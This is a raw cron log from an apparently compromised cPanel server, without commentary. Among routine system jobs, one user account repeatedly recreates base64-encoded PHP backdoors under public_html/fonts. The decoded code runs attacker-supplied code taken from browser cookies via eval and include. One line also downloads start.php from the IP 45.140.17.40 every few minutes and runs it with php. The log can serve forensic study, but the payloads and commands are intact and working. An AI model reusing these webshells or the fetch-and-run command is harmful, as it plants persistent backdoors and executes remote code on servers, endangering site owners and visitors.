Aug 31 21:32:01 ip-184-168-122-23 CROND[31712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:33:01 ip-184-168-122-23 CROND[31921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:33:01 ip-184-168-122-23 CROND[31924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:33:01 ip-184-168-122-23 CROND[31925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:33:01 ip-184-168-122-23 CROND[31923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:34:01 ip-184-168-122-23 CROND[32003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:34:01 ip-184-168-122-23 CROND[32005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:34:01 ip-184-168-122-23 CROND[32007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:34:01 ip-184-168-122-23 CROND[32006]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:34:01 ip-184-168-122-23 CROND[32008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:35:01 ip-184-168-122-23 CROND[32095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:35:01 ip-184-168-122-23 CROND[32097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:35:01 ip-184-168-122-23 CROND[32099]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 21:35:01 ip-184-168-122-23 CROND[32101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:35:01 ip-184-168-122-23 CROND[32102]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 21:35:01 ip-184-168-122-23 CROND[32103]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:35:01 ip-184-168-122-23 CROND[32100]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:35:01 ip-184-168-122-23 CROND[32104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:36:01 ip-184-168-122-23 CROND[32194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:36:01 ip-184-168-122-23 CROND[32197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:36:01 ip-184-168-122-23 CROND[32198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:36:01 ip-184-168-122-23 CROND[32201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:36:01 ip-184-168-122-23 CROND[32203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:37:01 ip-184-168-122-23 CROND[32279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:37:01 ip-184-168-122-23 CROND[32280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:37:01 ip-184-168-122-23 CROND[32281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:37:01 ip-184-168-122-23 CROND[32283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:38:01 ip-184-168-122-23 CROND[32446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:38:01 ip-184-168-122-23 CROND[32450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:38:01 ip-184-168-122-23 CROND[32448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:38:01 ip-184-168-122-23 CROND[32451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:38:01 ip-184-168-122-23 CROND[32449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:39:01 ip-184-168-122-23 CROND[32546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:39:01 ip-184-168-122-23 CROND[32548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:39:01 ip-184-168-122-23 CROND[32547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:39:01 ip-184-168-122-23 CROND[32549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:39:01 ip-184-168-122-23 CROND[32551]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 21:40:01 ip-184-168-122-23 CROND[32640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:40:01 ip-184-168-122-23 CROND[32642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:40:01 ip-184-168-122-23 CROND[32644]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 21:40:01 ip-184-168-122-23 CROND[32646]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:40:01 ip-184-168-122-23 CROND[32650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:40:01 ip-184-168-122-23 CROND[32651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:40:01 ip-184-168-122-23 CROND[32645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:40:01 ip-184-168-122-23 CROND[32649]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:41:01 ip-184-168-122-23 CROND[32745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:41:01 ip-184-168-122-23 CROND[32746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:41:01 ip-184-168-122-23 CROND[32748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:41:01 ip-184-168-122-23 CROND[32749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:42:01 ip-184-168-122-23 CROND[370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:42:01 ip-184-168-122-23 CROND[372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:42:01 ip-184-168-122-23 CROND[373]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:42:01 ip-184-168-122-23 CROND[374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:42:01 ip-184-168-122-23 CROND[375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:43:01 ip-184-168-122-23 CROND[536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:43:01 ip-184-168-122-23 CROND[538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:43:01 ip-184-168-122-23 CROND[540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:43:01 ip-184-168-122-23 CROND[539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:44:01 ip-184-168-122-23 CROND[641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:44:01 ip-184-168-122-23 CROND[645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:44:01 ip-184-168-122-23 CROND[643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:44:01 ip-184-168-122-23 CROND[646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:44:01 ip-184-168-122-23 CROND[644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
